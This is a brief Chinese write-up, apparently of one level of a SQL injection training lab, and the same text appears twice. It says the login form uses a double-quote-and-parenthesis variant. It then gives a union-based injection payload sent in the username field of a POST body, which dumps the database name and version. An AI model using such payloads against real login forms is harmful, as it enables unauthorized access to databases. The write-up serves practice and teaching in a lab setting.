在通过万能密码尝试登录的时候发现是双引号的变形,
这里直接上payload,就不再讲测试的过程了,
爆数据库名和版本
uname=123") union select database(),version()#&passwd=Dumb&submit=Submit
其余操作请参考前面几关,大同小异。
在通过万能密码尝试登录的时候发现是双引号的变形,
这里直接上payload,就不再讲测试的过程了,
爆数据库名和版本
uname=123") union select database(),version()#&passwd=Dumb&submit=Submit
其余操作请参考前面几关,大同小异。